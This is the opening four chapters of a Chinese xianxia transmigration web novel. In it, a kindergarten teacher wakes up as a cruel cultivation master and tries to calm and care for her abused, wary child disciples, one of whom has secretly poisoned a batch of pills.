《师尊身后空无一人,但徒弟全是大佬》 第1章 穿成恶毒师尊?开局靠哄娃保命 “呜呜——” 哪个小祖宗午休不睡觉? 云见月闭着眼,眉头拧成疙瘩,脑子里条件反射地排查:是三班张梓萱又在闹情绪,还是四班李子轩尿床了? 但下一秒,一股浓重的铁锈味猛地钻进鼻腔!。 是血! 京市第一幼儿园的孩子若在她带班时出事,她这辈子就完了。 职业本能让她瞬间弹坐而起。 “怎么了宝贝?别怕,让老师看看……” 声音戛然而止。 眼前没有熟悉的卡通贴画午休室,只有冰冷的紫檀木拔步床和月白鲛绡帐。 帐幔外,两个小小的身影蜷缩着跪在冰冷的地面上。 稍大些的那个男孩,单薄的粗布衣衫被鞭痕撕裂,洇开大片刺目的暗红,血珠顺着颤抖的脊背滚落。 他死死护着身后更小的那个,像一头倔强的幼兽。 小的那个,满脸泪痕,紧紧抓着师兄的破衣角,瘦小的身体抖得厉害。 地上,还扔着一柄乌沉沉的藤鞭,鞭梢沾着未干的血渍。 没等云见月细想,撕裂般的剧痛炸开脑海。 不属于她的记忆碎片如冰锥刺入——鞭打、辱骂、剜眼的寒光、拔舌的剧痛、四肢被斩断的冰冷绝望…… 最后定格在一行血淋淋的文字:云见月,恶毒师尊,下场:人彘,遗臭万年! 人彘?! 不! 她才不要被做成人彘腌在坛子里。 等等! 鞭子……血……孩子……未来魔尊徒弟?! 她居然穿书了。 还穿成了昨天晚上才看完的一本“男频退婚流修仙爽文”里那个退婚“废柴”男主,抢徒法器、虐待徒弟,最后徒弟黑化,她惨被挖眼扒舌做成人彘的恶毒师尊? 而且眼前,正是原主抢夺“凝霜剑”、鞭打徒弟的名场面。 怎么办? 要是不阻止小反派们黑化,自己就要被杀了。 冷静! 她上辈子可是金牌幼师,哄娃?这不专业对口了吗? 对! 改变自己悲惨的命运,先从哄好小反派们开始。 看到孩子们因她刚才出声而抖得更厉害,云见月压下翻腾的恐惧,深吸一口气,努力让声音带上十年哄娃练就的、刻进骨子里的温和:“别怕,都先别哭。” 孩子们却抖得更凶,像见了恶鬼。 “师尊要罚就罚徒儿一个人,凝霜剑是我炼的,也是我非要送给四师弟的,这一切都和四师弟无关,徒儿愿意领罚,只求师尊放过四师弟。” 云见月耐心的哄着,“我没说要罚你们。” 小男孩一脸“师尊您就别装了”的表情。 “师尊难道不是要往我们的伤口上撒盐吗?” 云见月:“......” 撒盐? 原主竟残忍至此。 这哪里是师徒,分明是刻骨的仇人! 原身真是造孽到家了。 现下,两个小家伙对她太过防备,不存在一丁点信任,她现在对他们做什么,落在他们眼里都是不怀好意。 看来想要重新和他们建立信任,不能操之过急,首先要先给他们脱敏。 云见月目光扫过地上染血的凶器,没有一丝犹豫,抬脚,用尽全力将它踢向最远的角落阴影里,发出沉闷的撞击声。 然后,她侧身减少压迫感,双手放松地搁在膝上,目光尽量不直视他们充满恐惧的眼睛,清晰而缓慢地说:“那东西,不会再用在你们身上了,我保证。” 两人在云见月伸出脚时,先是全身一颤,似乎以为她要踹他们。 可当看到鞭子被云见月一脚踢开后,又是一愣,不明白她为什么突然这样做。 最后,当听到她的话,同时一脸的不敢置信。 这是不是说明,师尊不会再用鞭子抽他们了? 意识到这一点,两人紧绷的身子稍稍放松了些许。 云见月将他们的反应尽收眼底,嘴角微不可察地勾起。 她没有急于靠近或查看伤口,目光温和而专注地落在地上那柄光华内敛却沾了尘埃的小剑上。 语气郑重,如同在教研会上点评一份优秀的手工作品:“这剑……器型流畅,寒光内蕴,灵力疏导纹路刻得精准,鹿闻声......” 她准确地叫出他的名字,目光转向那个倔强的男孩,带着一丝不易察觉的惊叹。 “这真是你炼的?才七岁就能掌握‘叠浪纹’分散冲击力的精髓,你的心思很巧。” 不愧是未来让男主头疼的大反派之一,才七岁,就已经能炼制出极品法器了。 这要是放在现代,那就是天赋异禀的高端武器制造师,直接就要被国家收编了。 鹿闻声是原身二徒弟,原身去凡间界时遇到的一个贫民窟孤儿。 他小小年纪就擅长做饭,吃苦耐劳,跟原身说自己吃得少干得多,收了他干杂事都行,只要给口吃的。 那时候原身还没有彻底变态,一时大发善心就收了他,本对他不报太大希望,没想到测灵石竟测出他是单一火灵根,原身只感觉自己捡到了宝,就把他收做了亲传弟子。 鹿闻声性格倔强隐忍,具有极高的炼器天赋,而且他挂在脖子上的古玉吊坠里还藏着一个上古炼器大宗师的一抹残魂,指导他炼器。 如果不是原身无止境的毒打,鹿闻声拿的就是妥妥的男频大男主剧本,结果却被原身虐的心理扭曲,未来长成了万魂熔炉主,诱骗修士入“炼器秘境”,实则是炼器炉,活炼十万生魂铸成魔剑。 黑化成大反派的他,最终的结局就是成为男主功成名就路上的垫脚石。 她不仅要改变自己的命运,也要改变徒弟们的命运。 只要徒弟们不黑化,自己就不会被虐杀,男主应该就不能踩着他们上位了。 听完她的点评,鹿闻声死寂的瞳孔猛地一缩。 不是嘲讽,不是贪婪,是……纯粹的、对器物本身的评价? 一股陌生的暖流夹杂着巨大的荒谬感冲上心头,被他用牙关死死咬住。 他紧抿的唇线几不可察地颤动了一下,护着师弟的姿势未变,但那份磐石般的戒备,裂开了一道微不可查的缝隙。 他极其轻微地点了一下头,喉咙里挤出一个干涩的音节:“……嗯。” 见他有回应,云见月总算稍稍松了一口气。 不过,还不忘在心里怒骂原主:原主你个蠢货!SSR级的炼器大师苗子和SSR+的剑修胚子,差点让你用鞭子抽成仇人了! 她内心疯狂吐槽,面上却只能绷着。 “既是你的心血,又是为你师弟量身而铸,此剑,合该归他所有。” 鹿闻声猛地抬头,眼中是全然的难以置信。 师尊不是要抢走凝霜剑吗? 为何又突然改主意了? 云见月迎着他惊疑的目光,脸上浮现出一种混合着惋惜和责备的神色:“闻声,你可知为师为何不让你把这剑给阿雾?” 鹿闻声沉默,心里却道:还能是为什么?当然是你想把凝霜剑送去青云剑宗,讨好楚凌风。 楚凌风乃是化神后期大能,又怎么会看得上小小法器。 这把凝霜剑,最后只会落到楚凌风徒弟的手里。 这样的事情,又不是第一次了。 鹿闻声想到这些,心里不满,却不敢显露出来。 云见月不去管他到底是怎么想的,斩钉截铁道: “因为你炼器的天赋,绝不止于此!” “你的四师弟他天生剑骨,灵根即是本命剑胚,此等资质千年难遇。你如今七岁就能炼出极品法器,未来宝器、灵器、道器,甚至传说中的仙器、神器,为何不敢想?让未来的剑道魁首,拿着一柄你七岁时炼的法器?这不是明珠蒙尘,是暴殄天物!是你对自己天赋的亵渎!” “为师是恨你目光短浅!你该想的,是为他打造一柄配得上他绝世锋芒的极品道器、无上神兵!想象一下,未来他一剑光寒十九洲,手持神兵睥睨天下,对所有人说:‘此剑,乃我二师兄亲手所铸!’那才是你该有的格局!” 巨大的“饼”砸下来,鹿闻声只觉得头晕目眩。炽热的向往与根深蒂固的怀疑在眼中剧烈交战。 那画面太美好……美好得让他忍不住向往。 他紧握的拳头松开又攥紧,指节泛白。 身体想前倾又强行克制,喉咙里发出挣扎的咕哝声:“……神兵……” 云见月暂时不再多说,给鹿闻声消化这惊天“格局论”的时间。 她的目光自然地落在小小的江迷雾身上。 小家伙对上她的视线,吓得又往二师兄背后缩了缩,只露出一双湿漉漉、清澈懵懂的大眼睛,偷偷瞄了一眼云见月。 看着这双不染尘埃的眼睛和鹿闻声眼中挣扎的光芒,云见月心中那根名为“求生欲”的弦绷得更紧。 搞定一个倔强炼器崽,还有一个懵懂剑修崽。 后来还有三个未来魔尊在排队等着她“感化”…… 这幼师,真不是人干的! 不过没关系。 现在是怕我如见鬼的幼崽,未来是五个护我的大佬——这修仙界幼师,我当定了! 第2章 恶毒师尊变身育儿保姆,法器法宝投喂小反派 江迷雾的身世,与鹿闻声截然不同。 他不是生来就是一无所有的孤儿。 他曾是显赫剑修世家的天之骄子,天生身具剑骨,灵根本身就是最强大的本命剑胚,更身负纯粹的金灵根,对天下万剑有着天然的、近乎法则层面的亲和与统御潜力。 未来成长起来,万剑朝宗,剑道称尊,谓之“剑主”亦不为过,是青云大陆千年难遇的绝世剑修之姿。 奈何,天降横祸。 曾经煊赫的剑修江家,一夜之间满门被灭,只余下江迷雾一个五岁的稚童。 以他的资质,以及背负血海深仇的背景,本该是“隐忍复仇”、最终登顶剑道巅峰的男频大男主剧本。 可他却倒霉催地落到了原身手里。 原身的父亲与江家家主是故交,江家被灭门后,原身父亲念及稚子可怜,便把江迷雾带回了玄天宗。 原身父亲陨落后,江迷雾自然而然由原身接手。 原身不好好对他,稍有不顺心,便骂他是“丧门星”,克死全家,还克得她诸事不顺,不被楚凌风接纳…… 在原身的毒打、辱骂、掠夺中,在无尽的痛苦和仇恨浇灌下,江迷雾最终长成了癫狂的“弑道剑魔”。 他手持鹿闻声以十万生魂炼制的魔剑,血洗仇敌后仍未餍足,竟一剑斩断天下灵脉,让修仙文明倒退回末法时代,原身的四肢便是被他亲手砍下,丢进了炼魂的魔炉。 可眼前这个五岁的小豆丁,只是一个被灭门惨案和师尊虐待双重创伤彻底击垮的、极度敏感、没有安全感的小可怜。 刚刚经历了凝霜剑被抢夺、师兄被毒打、自己也被吓坏的二次创伤。 对师尊的恐惧深入骨髓,像只受惊过度、只想把自己藏起来的小兽。 她要做的是安抚他的情绪,给予他肯定以及最稀缺的安全感。 既是天生剑骨,那剑对他就有着天然的吸引力,从剑作为撬动他心房为切入点,应当可行。 云见月的目光落在地上的凝霜剑上。 鹿闻声和江迷雾的目光也下意识地追随着她的视线,牢牢锁在剑身上,两人的眼神里充满了浓浓的不舍。 师尊说的再好听,终究还是要把它拿走,送去青云剑宗,讨好那个楚凌风。 这个认知让鹿闻声的心沉了下去,也让江迷雾把脸埋得更深。 然而,下一秒! 云见月弯腰捡起了凝霜剑,在鹿闻声和江迷雾惊愕的目光中,她缓缓地、坚定地将这把剑,递到了江迷雾面前。 “这把剑,是你二师兄费尽心血为你量身炼制的,虽然只是低阶法器,但这份真心,这份情谊,不可辜负。” 不……可辜负? 鹿闻声的心脏像是被什么东西狠狠攥住,一股难以言喻的酸涩与滚烫冲上眼眶。 师尊……她竟然如此肯定他? 肯定他付出的心血和情谊? 那为何……为何她以前要一次次抢走他的东西,送去青云剑宗? 巨大的矛盾和困惑让他心乱如麻,几乎无法思考。 江迷雾更是完全懵了。 他那双哭得红肿、盛满恐惧的大眼睛,此刻只剩下难以置信和疑惑。 他看看近在咫尺的凝霜剑,又看看师尊那张温柔的脸,小小的脑子完全无法处理这颠覆性的信息。 云见月没有催促,只是稳稳地托着剑,目光温和地鼓励他。 终于,在极度的震惊和渴望驱使下,江迷雾颤抖着小手,小心翼翼地接过来。 剑是他的了? 师尊真的给他了? “阿雾,为师知道你非常喜欢这把剑。既然喜欢,那便好好收着吧。” “属于你们的东西,以后就是你们的。” 掠夺成性的师尊,竟然说……属于他们? 还让他们好好收着? 云见月看着他们又惊又喜又不敢相信的样子,微微挑眉,切入点正确! 看来,忽悠……不,是解释,必须跟上! 她下床,缓缓蹲下身,让自己的高度尽量与江迷雾平齐,自责道: “阿雾,你身负血海深仇,江家满门的血债,压在你小小的肩膀上,为师为了让你能尽快成长起来,拥有足以复仇的力量,所以才对你尤为严苛。” “但为师竟忘了你还只是个五岁的孩子,是为师太操之过急,用错了方法,阿雾,为师向你道歉。” 道歉? 师尊跟他道歉? 江迷雾傻傻地看着云见月。 “为师保证。”云见月伸出手指,做出立誓的姿态,“以后,再也不打你,再也不骂你了,你是为师的弟子,哪怕未来你不能亲手手刃仇人,自有为师替你做主。” 她的目光带着一丝无奈的包容,“凝霜剑虽然配不上你的绝世之姿,为师也不阻止你要它用它了。你喜欢,就留着它。” “但是,为师对你有一个要求。” 云见月盯着他的眼睛,“等你再长大一些,实力足够强大时,一定要去契约一把真正强大的高阶神兵,只有真正的神兵在手,你未来为家族报仇雪恨时,才能如虎添翼!才能不负你天生剑骨的绝世之姿!才能告慰江家满门在天之灵!” “阿雾,你能答应为师吗?” 报仇……神兵……告慰亲族…… 这些沉甸甸的字眼带着一种无法抗拒的魔力。 他看看剑,又看看师尊殷切的目光,最终,极其艰难又郑重地点了一下头,小声道:“阿雾,答应师尊。” “好孩子!”云见月脸上露出欣慰的笑容。 “为师知道,空口无凭。”她说着,手掌一翻,掌心凭空出现一物。 那是一个剑穗。 穗体由一种似金非金、似玉非玉的暗金色奇异丝线编织而成,隐隐流动着内敛的光华,仿佛有星辰在其中沉浮。 末端垂落的流苏长而柔顺,每一根丝线都蕴含着难以言喻的锋锐之气,仿佛多看几眼都会被刺伤。 一股令人心悸的刀兵杀伐之气隐隐透出,虽只一丝,却让近在咫尺的鹿闻声和江迷雾瞬间汗毛倒竖,仿佛面对着一柄开天辟地的绝世神兵。 这正是上古仙器折损后遗落的剑穗,沾染了仙器无上威能的一缕刀兵之气。 虽然只是剑穗,但也是世间难寻的珍宝,是原身父亲偶然获得留给她的。 云见月记得,这剑穗后来落到了江迷雾手中,被他挂在了魔剑上。 由此足以说明,未来的他是极喜欢这个剑穗的。 这玩意儿留着也是落灰,这小祖宗未来可是砍她手脚的主,现在投资是刚需! “此物乃是上古仙器折损后遗落下来的,是为师的珍藏,与你剑骨有缘,今日便赠予你,望你不负此物。”云见月一副忍痛割爱的表情。 在云见月递出剑穗时,江迷雾本能地想后退。 可剑骨与剑穗的共鸣,令他对剑穗有着无法抗拒的亲近感。 真的给我? 这么珍贵的东西是不是碰了就会被打得更狠? 江迷雾脏污的小手在身侧攥紧了又松开。 终于,在极度的渴望下,试探着伸出小手。 指尖触碰到那冰凉的丝线时,他飞快地抬眼偷瞄云见月的表情。 云见月脸上维持着温和的笑意,眼神专注地看着他,没有任何不耐或即将变脸的征兆。 江迷雾把剑穗抓进手心,连同凝霜剑一起,紧紧地抱在怀里。 直到确认云见月真的没有下一步动作,他才像卸下了千斤重担,紧绷的肩膀微微垮塌,偷偷地长舒了一口气。 “谢、谢师尊。” “真乖!”云见月唇角弯起,自然地揉了揉他有些枯黄打结的头发。 这亲昵的动作让江迷雾身体又是一僵,但头顶传来的温热和轻柔的触感,却奇异地驱散了一丝寒意,只是把小脸埋得更低了。 一旁的鹿闻声,将这一切都看在眼里。 原来,师尊的手不仅能握着鞭子打人,也可以轻柔的抚摸发顶。 他眼底飞快地划过一丝自己都未曾察觉的羡慕,他又垂下眼帘,盯着自己破旧的衣摆。 云见月的心刚放下一点,目光触及鹿闻声后背狰狞翻卷的鞭痕,和江迷雾手臂上渗血的伤口,又猛地揪紧——伤!必须立刻处理! 她记得修真界有种叫“回春丹”的基础丹药,对皮肉伤有奇效。 没有丝毫犹豫,云见月立刻探向腰间储物袋。 空空如也! 她不死心地又用灵力仔细扫了一遍——真的连个渣都没剩下,兜比脸还干净! 云见月:“......” 她想起来了。 原身为了讨好楚凌风,早已将所有值钱的东西搜刮一空送去了青云剑宗。 正是因为她现在一无所有,才将主意打到了弟子身上,连鹿闻声为江迷雾炼制的法器都要抢。 唯一留下的剑穗,若非是亡父遗物,意义非凡,恐怕也早成了讨好楚凌风的物件。 没有丹药,一穷二白,连给孩子治伤的药都没有。 无力感瞬间涌上,但职业的责任感压倒了一切。 没有丹药,她还能消毒清创。 云见月目光如电扫过寝殿,瞬间锁定小几上那个打开的白玉酒壶。 原身对楚凌风求而不得,所以经常备着酒,借酒消愁。 她抄起酒壶,几步蹲到伤势最重的鹿闻声面前。 “闻声,没有丹药了,只能用这个先清理伤口,防止恶化。”她尽量放柔声音,“会很疼,忍着点。” 鹿闻声身体绷得像块石头,眼底掠过怀疑,却不敢反抗。他死死抿唇,闭上眼睛,一副任凭处置的模样。 云见月利落地撕下内裙相对干净的一角,蘸饱冰凉的烈酒,对准那最深的伤口边缘,稳而快地按了下去。 鹿闻声小小的身体猛地一颤,那钻心蚀骨的剧痛远超鞭笞,他额头上青筋暴突,冷汗瞬间浸透破旧衣领,却死死咬牙,硬是没发出半点声音。 这副隐忍模样,让云见月手上的动作不自觉地放轻了一瞬。 但她手上动作却不停,快速而仔细地处理伤口并包扎起来。 轮到江迷雾时,酒精刚沾上手臂的伤口,他就“哇”地一声痛嚎出来,眼泪决堤,小脸煞白。 “嘶……疼!师尊……疼……”哭得直抽气。 “阿雾乖,忍一下,马上就好。”云见月的声音放得极柔,手上动作却更快更轻,快速按压止血、清理、包扎。 江迷雾的哭声在空旷的殿内显得格外凄厉刺耳。 就在云见月全神贯注处理伤口时,殿门厚重的缝隙外,一双淬着寒冰与剧毒的眼睛,正死死地盯着殿内的一切。 她小小的身体紧贴着门板,那凄厉的哭嚎、浓重的血腥混着酒气,令她脸色惨白。 又在折磨他们!以前是撒盐,现在是用烈酒浇伤口!这个恶毒的女人! 她死死攥着拳头,指甲深深抠进掌心,指节惨白。 一股强烈的恨意在她眼中疯狂翻涌! 杀了她!恨不得冲进去杀了她!只要她死了,他们师兄妹就不会再被欺负了。 第3章 三徒弟投毒想要弄死我,心狠手辣真可怕 看着四师弟痛苦哀嚎的模样,她再也忍不住,尖锐道: “师尊!” 云见月处理江迷雾伤口的动作一顿,抬起头。 厚重的殿门被推开,一个约莫六七岁、身形瘦小、脸色带着病态苍白的小女孩走了进来。 她缩着肩膀,低着头,一副紧张畏惧到极点的模样,快步挪到云见月面前停下。 目光扫过鹿闻声和江迷雾身上狰狞的伤口时,眼底瞬间掠过杀意,她长长的睫毛垂落,将所有情绪锁在眼底,只剩下一片惶恐不安。 “师、师尊,”她声音怯懦,双手捧起一个小小的青色瓷瓶,高高举过头顶,“您命徒儿炼制的丹药,徒儿炼好了。” 这丹药,是她为师兄妹们搏出的生路。 只要云见月把丹药送给楚凌风,楚凌风的徒弟吃下……云见月这个恶魔就…… 她在心里恨恨的想。 会炼丹? 看来,这个小女孩儿就是原身的三徒弟郁仙了。 简直是瞌睡来了送枕头,她正愁没有疗伤药呢。 云见月不疑有他,立刻伸手接过瓷瓶,麻利地倒出两粒丹药,毫不犹豫地递给鹿闻声和江迷雾。 “快,吃了它,吃了伤马上就能好。”云见月语气带着欣喜。 鹿闻声和江迷雾看着眼前散发着诱人药香的丹药,瞳孔放大,几乎不敢相信自己的眼睛。 师尊居然舍得把丹药给他们吃? 不是要送去青云剑宗讨好楚凌风吗? 师尊不仅还了凝霜剑,包扎了他们的伤口,现在……居然还给他们丹药疗伤? 带着一丝不确定的颤抖,小心翼翼地伸出手。 “不行!”郁仙没想到云见月会把丹药拿出来给师兄和师弟吃,她厉声打断,情急之下,甚至忘了伪装。 殿内三人同时一愣。 “怎么了?”云见月疑惑地看向郁仙。 郁仙的心脏在胸腔里疯狂擂动,冷汗浸透单薄的衣衫。 这个女人怎么会这么好心? 难道……难道她发现丹药有毒了? 所以故意将计就计,要借她的手毒死二师兄和四师弟,然后嫁祸给自己?好狠毒的算计! 她双手死死攥着衣摆,指关节捏得发白,拼命压下几乎冲破喉咙的恐惧。 “这、这丹药是师尊您要……要送去青云剑宗的,楚师伯还等着师尊您的丹药呢,所、所以……不能给二师兄和四师弟吃。” 云见月斩钉截铁道:“这丹药,为师不送了!” 她语气铿锵,带着不容置疑的决心,“你们两个放心吃,疗伤要紧!” 说着,又将丹药坚定地往前一递。 不……不送了? 鹿闻声和江迷雾对视一眼,都从对方眼中看到了难以置信。 师尊真的变了? 如果,以后师尊都能这样就好了。 两人眼中散发着希冀,伸手去接丹药。 “不可以。”郁仙再次阻止。 郁仙一而再的反常阻挠,令云见月心里生出了警惕。 她的目光紧紧锁定在郁仙苍白的小脸上。 “为什么不可以?” 鹿闻声和江迷雾停下动作,惊疑不定地看向行为诡异的三师妹(姐)。 “因为……因为……”郁仙眼神慌乱,语无伦次地找着理由,“因为咱们玄天宗没有炼丹的灵草了,这是最后的丹药,如果师尊给二师兄和四师弟吃,就、就没有办法送去青云剑宗了,楚师伯会生气的。” 云见月刚才已经说过,不送了。 郁仙这么牵强的理由,说服不了她。 她一瞬不瞬盯着郁仙躲闪的眼睛,电光火石间,一个可怕的念头浮现在她脑海中。 原剧情中,楚凌风那个契约了火凤凰的徒弟,就是吃了她送去的丹药中毒濒死! 那场祸事,正是原身被楚凌风打成重伤修为大跌、彻底沦为修仙界笑柄的开端。 经此一事,原身对五个徒弟的虐打更为变态,为日后徒弟们黑化虐杀她埋下祸根。 难道,毒丹就是这一瓶? 云见月的心颤了颤,一股寒意顺着脊椎爬上来。 她看着郁仙强装镇定却掩饰不住慌乱的眼神,更加确定了心里的猜测。 才六岁就懂得借刀杀人,真够狠的。 不愧是未来能黑化成疫病母神的人。 郁仙原是药仙谷真千金,却被假千金顶替身份,四岁之前一直生活在凡间界一个重男轻女的农村家庭,吃不饱穿不暖,每天还要上山割猪草喂猪,剁野菜喂鸡,一大家子饭她一个人做,一大家子的脏衣服也是她一个人洗,可即便她如此懂事,还要被养母打骂,被弟弟欺负。 四岁后,她被药仙谷找回。 原以为终于不用挨打,有爹娘疼爱,能吃饱穿暖,不用住柴房了。 结果家里早就有了一个备受宠爱的假千金。 她依旧爹不疼娘不爱,吃不饱穿不暖,住在阴暗潮湿的柴房里。 一切都没有变,甚至,还要处处被假千金诬陷,一盆一盆的脏水往她身上泼,被爹娘哥哥误会,还要跪在假千金面前磕头认错。 给她希望,又让她失望,她幼小的心灵受到了前所未有的打击。 最后还被诬陷“偷药杀人”,生生受了七七四十九鞭,被无情丢出药仙谷。 要不是原身父亲在接江迷雾回玄天宗途中遇到救了她,她早就死了。 来到玄天宗,她第一次体验到吃饱穿暖的滋味。 可惜,原身父亲不久后就陨落了,她和江迷雾一同由原身接手,开始了长达一年多的虐待。 郁仙,寓意着遇仙。 可惜,仙没遇到,遇到的全都是恶魔。 不患寡而患不均,她不怕吃苦受累,她最需要的是公平对待。 多好的孩子,怎么就如此命运多舛。 云见月叹息一声,怜爱的伸手,想要摸摸她的小脑袋。 郁仙瞳孔剧烈颤动。 师尊是要扇她耳光吗? 她早就被扇习惯了,可她不能连累二师兄和四师弟,绝对不能被师尊发现她往丹药里下毒。 “对、对不起师尊!” “我突然想起来,这、这丹药火候没掌握好,药性不稳,请师尊把丹药交给徒儿,我……我拿回去重炼,马上重炼。” 殿内死寂无声,空气沉重得如同凝固的铅块。 云见月看着她瞳孔剧烈颤动的模样,心底那声叹息沉重如山。 郁仙比鹿闻声接受了更多、更深沉的恶意。 鹿闻声的戒备源于生存,心思缜密却尚算敏感,给他画大饼这一招管用。 而郁仙,这份恨意早已扭曲扎根,让她在六岁稚龄就懂得了借刀杀人的毒计,这份刻骨的怨毒,不是简单的鼓励画大饼就能轻易化解的。 她在药仙谷那一年里,她的爹娘哥哥没少许她承诺,结果一次都没兑现过,还总是因为假千金忽视她,刁难她。 有了这段经历,想要与她建立信任比登天还难。 急不得,只能从长计议,徐徐图之。 即便知道丹药有毒,也绝不能点破。 点破毒丹,就等于撕开郁仙最后一点可怜的自尊,将她彻底推入恐惧和羞耻的深渊。 一个已经懂得用毒计反抗的绝望灵魂,一旦被逼到墙角,会做出什么更极端的事情? 云见月不敢赌。 必须给她留退路,留“面子”。 她缓缓收回了想要抚摸的手,指尖蜷缩进掌心,仿佛要将那不合时宜的怜悯也一同压回去。 脸上的审视褪去,取而代之的是一种收敛了锋芒的平静,甚至带上了一丝疲惫的包容。 “既然丹药药性不稳......”云见月的声音出乎意料地平缓,没有质问,没有怒火,“那便不给闻声和阿雾吃了。” 郁仙的身体猛地一颤,难以置信地抬起头,眼中是更深的警惕和茫然。 她不追究? 云见月迎着她惊疑的目光,微微扯动了一下嘴角,像是在安抚一个犯了小错的孩子:“偶尔一次没有掌握好火候不要紧,仙儿你也无需自责。” 自责? 郁仙几乎要冷笑出声。 她怎么会自责?她恨不得把所有伤害过她的人,全部毒死。 “为师相信以你的天赋,以后必定能成为炼丹大师,为师一直对你非常有信心。” 这句话令郁仙嗤之以鼻。 天赋?这个恶魔就是因为知道她有炼丹天赋,所以才逼着她炼丹。 她宁愿没有这样的天赋。 毒妇明明看穿了一切,却在这里惺惺作态,肯定是在心里憋着更坏、更折磨人的主意。 她死死咬住下唇,垂着头,一声不吭,一副死猪不怕开水烫的滚刀肉模样。 云见月将她的抗拒尽收眼底,心道果然难办。 这孩子的心防,比想象的还要坚固百倍。 她不再多言,转而看向鹿闻声和江迷雾,“闻声,阿雾,你们的伤口为师已处理过,暂时无碍,你们先回去好生休息。” “仙儿,你也先回去。” 鹿闻声的眼神在云见月和郁仙之间快速扫视了一圈,沉默地点点头,拉着一脸懵懂的江迷雾,率先转身。 郁仙如蒙大赦,几乎是逃也似的跟了出去。 沉重的殿门在身后合拢。 三人远离了寝殿的范围,直到确认不会被听到,鹿闻声才停下脚步。 “三师妹,刚才为什么阻止我们吃丹药?” 郁仙脸上的狠辣不再掩饰:“因为那丹药有毒。” 第4章 小徒弟饿得吃树皮,才哄好的徒弟们又炸毛 短短几个字,如同惊雷炸响在寂静的夜色里。 江迷雾清澈的大眼睛瞪得滚圆。 鹿闻声瞳孔收缩,虽然心中早有猜测,但当郁仙亲口证实,那股寒意还是瞬间爬满了他的四肢百骸。 “你……你炼的?” 郁仙默认的点头。 江迷雾小脸皱成一团,“三师姐,你是要害死师尊吗?这样是不对的,你不能这么做。” “为什么不能?”郁仙声音冰冷,“只要她死了,就没人再打骂我们,没人再抢我们的东西了,这样不好吗?” “可是……”江迷雾紧紧攥着怀里的凝霜剑和剑穗,小声反驳:“可是师尊她今天好像变好了,她把剑还给我,还给我包扎伤口。” “变好?”郁仙像是听到了天大的笑话,“一点点小恩小惠就把你收买了?你别忘了,自从宗主死后,她是怎么对我们的,她根本就没有把我们当人看。” “四师弟你太天真了,她今天所做的一切,不过是在装模作样演戏!就像药仙谷那些人一样,给你一点甜头,让你放松警惕,然后再把你推进更深的火坑。 她只是在憋着更坏、更恶毒的主意,你千万不要被她装出来的表象骗了。” 她毫不留情地浇灭了江迷雾那点刚刚燃起的微弱的希望火苗。 江迷雾呆呆地看着郁仙写满恨意和偏执的脸,小脸煞白,嘴唇哆嗦着,再也说不出一个字。 鹿闻声全程沉默着。 他没有像江迷雾那样震惊质问,也没有像郁仙那样激烈宣泄。 他的目光深沉地投向身后那栋如同巨兽蛰伏的寝殿,那里刚刚上演了一场无声的惊雷,师尊收回的惩罚和那句“相信”……在他早慧的心中投下了一丝难以言喻的涟漪。 好半晌,低声道:“先回去吧。” 郁仙最后看了一眼寝殿的方向,眼中是化不开的冰冷戒备,随即转身。 ...... 寝殿内。 云见月躺倒在紫檀木大床上。 鹿闻声和江迷雾或许被她的“糖衣炮弹”砸得晕头转向,升起一丝微弱的希冀,但这份信任脆弱得如同薄冰。 而郁仙,她就像一只浑身是刺、浸透了毒液的刺猬,任何靠近都可能被她视为“目的不纯”。 她望着殿顶的雕花,眼神放空,脑子里不断思考着接下来要如何做。 渐渐的,疲惫感袭来,她逐渐合上了眼睛。 不知过了多久。 尖锐凄厉的哭喊声,穿透了云见月的耳膜。 “救命——师尊求求您救救小师妹,小师妹要死了,呜呜呜——” 云见月猛地睁开眼。 眼前一片漆黑,只有窗外微弱的月光勾勒出殿内家具模糊的轮廓。 天竟然已经黑透了。 殿外撕心裂肺的哭喊让她瞬间清醒。 “砰——” 殿门被一股巨大的力量猛地撞开,江迷雾小脸上满是泪痕,他扑倒在云见月床前,声音嘶哑破碎: “师尊,求求您,求求您快救救小师妹,渺渺……渺渺她不行了,她要死了,呜呜呜……” 云见月的心,随着那“死”字,瞬间沉入了冰冷的深渊。 “渺渺怎么了?”云见月一把抓住江迷雾。 江迷雾小小的身体筛糠般抖着,泪流满面的抽噎,根本说不出完整的话,只是不断重复着:“呜呜呜……没、没有呼吸了……小师妹……要死了……师尊救救她……” “渺渺在哪里?快!带我过去!”云见月的心提到了嗓子眼,再顾不得其他,翻身下床,连外袍都来不及披,赤着脚,一把拉起江迷雾冰凉的小手就往外冲。 夜色如墨,玄天宗一片死寂,只有两人急促慌乱的脚步声。 很快,他们冲到了一间简陋、透风的小屋前。 还未推门,里面带着哭腔的焦急声音便穿透薄薄的门板传来。 “渺渺,渺渺你醒醒,看看大师兄啊。” “她到底怎么了?刚才还好好的……” “怎么办?我们……我们要不要去找师尊?” “找她?那个恶毒的女人,她巴不得我们都死掉,又怎么会救渺渺,她只会……” “砰!”云见月一脚踹开虚掩的房门,屋内昏暗的油灯光芒摇曳,映照出地上令人心碎的一幕。 小小的苏渺渺无声无息地躺在地上,小脸呈现出骇人的青紫色,嘴唇发绀,胸口没有丝毫起伏。 在她周围,三个小小的身影围成一圈,充满了绝望和无助。 “渺渺!”云见月的心猛地一颤,什么都顾不上,一个箭步就冲了过去,想要查看苏渺渺的情况。 萧星尘猛地张开双臂死死拦在云见月面前,眼神里充满了戒备和厌恶。 “你这个恶毒的女人,我不许你碰渺渺。” 云见月心急如焚,苏渺渺的状态明显是窒息,每一秒都关乎生死。 她焦急的解释:“我只是想救她,你先让开,再耽误下去,渺渺就真的没救了。” “你只会害死她!”萧星尘根本不信,寸步不让。 过去的种种虐待,早已将“师尊即恶魔”的认知刻入了他的骨髓。 “大师兄,师尊真的会救小师妹的,你让师尊试试吧。”江迷雾哭喊着扑过来,用力拉着萧星尘的衣角。 鹿闻声看着地上气息全无的小师妹,又看看焦急的云见月。 白天师尊还剑、包扎、温和说话的片段在脑海中飞快闪过。 他内心剧烈挣扎,最终,对小师妹的担忧压过了长久以来的对师尊的恐惧。 他一咬牙,也上前一步:“大师兄,相信师尊一次,渺渺她……等不了了。” 郁仙依旧没说话,只是抬起头,那双幽深的眼睛死死盯着云见月,里面翻滚着怀疑,和一丝微弱的期待,以及……那深藏眼底、若师尊失败便同归于尽的狠辣决绝。 时间在死寂中流逝,每一息都无比漫长。 苏渺渺的脸色变得更加骇人。 “让开!”云见月厉喝一声,带着不容置疑的威严,抬手拨开萧星尘。 萧星尘被她情急之下的力量推得一个趔趄。 